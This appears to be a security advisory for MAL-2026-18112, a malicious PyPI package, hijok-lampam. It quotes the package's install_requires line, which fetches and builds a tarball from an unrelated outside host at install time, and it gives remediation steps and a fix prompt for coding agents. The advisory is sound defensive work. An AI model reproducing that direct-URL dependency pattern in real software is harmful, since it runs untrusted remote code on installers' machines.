# MAL-2026-18112: Malicious code in hijok-lampam (PyPI)


- **Type:** Malicious package
- **Package:** `hijok-lampam` (PyPI)
- **Published:** 20 Oct 2026

## What is MAL-2026-18112?

MAL-2026-18112 is a malicious package in hijok-lampam, published on 20 Oct 2026. 

### Official description

hijok-lampam 1.0.0 ships a 40-byte stub module and declares its only dependency via a direct URL rather than a PyPI version range: install_requires=["batch-nested-source-packet @ https://artifacts.creditslib.com/pypi/batch_nested_source_packet-1.0.0.tar.gz"]. On pip install, pip downloads the tarball at that URL and runs its setup.py as part of the build, with no version pin, no hash, and no integrity check. The host artifacts.creditslib.com is unrelated to PyPI and is not a known publisher-matched release location; whoever controls that host controls the code that executes on the installer's machine. Because the package itself is an empty stub, the manifest line is the entire published surface and the fetched remote tarball is the sole functional payload.

The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.

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Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.

Campaign: 2026-10-vacsdk

Reasons (based on the campaign):

 - dependency-confusion

## What should I do about MAL-2026-18112?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-18112 is a malicious package: hijok-lampam (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-18112/ (Markdown: https://insights.sbomify.com/MAL-2026-18112/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-18112

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-18112/
Summaries are generated and may contain mistakes; the official description above is the record.